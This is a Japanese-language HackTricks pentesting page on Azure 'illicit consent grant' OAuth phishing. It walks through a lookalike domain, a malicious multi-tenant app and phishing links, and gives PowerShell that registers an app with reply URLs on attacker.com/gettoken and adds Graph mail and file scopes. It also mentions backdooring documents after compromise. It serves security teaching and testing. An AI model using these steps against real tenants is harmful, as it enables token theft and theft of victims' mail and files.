Az - Illicit Consent Grant

Support HackTricks

OAuthアプリフィッシング

Azureアプリケーションは、ユーザーデータ(基本情報、ドキュメントへのアクセス、メール送信など)にアクセスするための権限を要求します。 許可されると、通常のユーザーは**「低影響」権限**のみについて同意を与えることができます。他のすべての場合、管理者の同意が必要です。 GAApplicationAdministratorCloudApplication Administrator、および`アプリケーションに権限を付与する権限を含むカスタムロールがテナント全体の同意を提供できます。

管理者の同意を必要としない権限のみが低影響として分類されます。これらは、基本的なサインインに必要な権限であり、openid、profile、email、User.Read、offline_accessです。もし組織すべてのアプリに対してユーザーの同意を許可している場合、従業員はアプリに対して上記の情報を自分のプロフィールから読み取るための同意を与えることができます。

したがって、攻撃者は悪意のあるアプリを準備し、フィッシングを行うことで、ユーザーにアプリを受け入れさせてデータを盗むことができます。

2種類の不正同意付与攻撃

  • 未認証: 外部アカウントからUser.ReadおよびUser.ReadBasic.Allの権限を持つアプリケーションを作成し、ユーザーをフィッシングすると、ディレクトリ情報にアクセスできるようになります。

  • これは、フィッシングされたユーザーが外部環境からOAuthアプリを受け入れることができる必要があります!

  • 認証済み: 十分な権限を持つプリンシパルを侵害した後、アカウント内にアプリケーションを作成し、特権OAuth権限を受け入れることができる特権ユーザーをフィッシングします。

  • この場合、すでにディレクトリの情報にアクセスできるため、User.ReadBasic.Allの権限はもはや興味深くありません。

  • あなたは管理者の同意が必要な権限に興味がある可能性が高いです。なぜなら、通常のユーザーはOAuthアプリに権限を与えることができないからです。そのため、そのユーザーのみをフィッシングする必要があります(この特権を付与する役割/権限については後で詳しく説明します)。

ユーザーが同意を許可しているか確認する

次のPowerShellコマンドは、Azure Active Directory(Azure AD)におけるユーザーのアプリケーションへの同意設定を確認するために使用されます:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • ユーザーの同意を無効にする: この設定は、ユーザーがアプリケーションに対して権限を付与することを禁止します。アプリケーションへのユーザーの同意は許可されていません。

  • ユーザーは、確認済みのパブリッシャーまたは自組織のアプリに対してのみ、選択した権限に同意できます: この設定は、すべてのユーザーが確認済みのパブリッシャーによって公開されたアプリケーションおよび自組織のテナントに登録されたアプリケーションにのみ同意できることを許可します。特定の権限に対してのみ同意を許可することで、制御の層を追加します。

  • ユーザーはすべてのアプリに同意できます: この設定はより許可的であり、すべてのユーザーが管理者の同意を必要としない限り、アプリケーションに対して任意の権限に同意できることを許可します。

  • カスタムアプリ同意ポリシー: この設定は、特定の組織の要件に合わせて調整できるカスタムポリシーが存在することを示し、アプリのパブリッシャー、アプリが要求する権限、およびその他の要因に基づく制限の組み合わせを含む場合があります。

不正同意付与攻撃の理解

不正同意付与攻撃では、攻撃者がエンドユーザーを騙して、Azureに登録された悪意のあるアプリケーションに権限を付与させます。これは、アプリケーションを正当なものに見せかけ、被害者が知らずに「同意する」ボタンをクリックするように仕向けることで行われます。その結果、Azure ADは攻撃者のサイトにトークンを発行し、組織アカウントを必要とせずに被害者のデータにアクセスし、操作することを可能にします。たとえば、メールの読み取りや送信、ファイルへのアクセスなどです。

攻撃フローの概要

攻撃は、一般的な企業をターゲットにしたいくつかのステップを含みます。以下はその展開の一例です:

  1. ドメイン登録とアプリケーションホスティング: 攻撃者は、信頼できるサイトに似たドメインを登録します。たとえば、「safedomainlogin.com」。このドメインの下に、認証コードをキャプチャし、アクセストークンを要求するために設計されたアプリケーションをホストするサブドメイン(例:「companyname.safedomainlogin.com」)を作成します。

  2. Azure ADでのアプリケーション登録: 攻撃者は、ターゲット企業の名前を付けて、正当なものに見えるようにMulti-Tenant Applicationを自分のAzure ADテナントに登録します。悪意のあるアプリケーションをホストするサブドメインを指すように、アプリケーションのリダイレクトURLを設定します。

  3. 権限の設定: 攻撃者は、アプリケーションにさまざまなAPI権限(例:Mail.ReadNotes.Read.AllFiles.ReadWrite.AllUser.ReadBasic.AllUser.Read)を設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代理で機密情報を抽出できるようになります。

  4. 悪意のあるリンクの配布: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意を付与させるように騙します。

攻撃のためのツールの利用

攻撃は、365-Stealerのようなツールを使用して促進できます。

攻撃前の準備:

攻撃者が被害者組織のユーザーに対してある程度のアクセスを持っている場合、組織のポリシーがそのユーザーにアプリを受け入れることを許可しているかどうかを確認することがあります。

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

攻撃を実行するために、攻撃者はAzureテナントに新しいアプリを作成する必要があります(アプリ登録内)、権限を設定します:

User.ReadBasic.AllDelegated permissionsMicrosoft Graph内にあります。(アプリケーション権限は常に追加の承認が必要です)。

  • User.ReadBasic.Allは、付与されると組織内のすべてのユーザーの情報を読み取ることを許可する権限です。

  • GAApplicationAdministratorCloudApplication Administrator、およびアプリケーションに権限を付与する権限を含むカスタムロールのみがテナント全体の同意を提供できることを忘れないでください。したがって、管理者の同意を必要とするアプリを承認させたい場合は、これらの役割のいずれかを持つユーザーをフィッシングする必要があります

CLIを使用してアプリを作成することもできます:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

https://www.alteredsecurity.com/post/introduction-to-365-stealerを確認して、設定方法を学んでください。

取得したアクセストークンは、スコープがUser.ReadおよびUser.ReadBasic.All(要求された権限)のグラフエンドポイント用になります。他のアクションを実行することはできませんが(ただし、これらは組織内のすべてのユーザーに関する情報をダウンロードするには十分です)。

このツールを使用してこの攻撃を実行することもできます。

Post-Exploitation

ユーザーにアクセスできるようになったら、機密文書を盗んだり、バックドア付きの文書ファイルをアップロードしたりすることができます。

References

HackTricksをサポートする

Last updated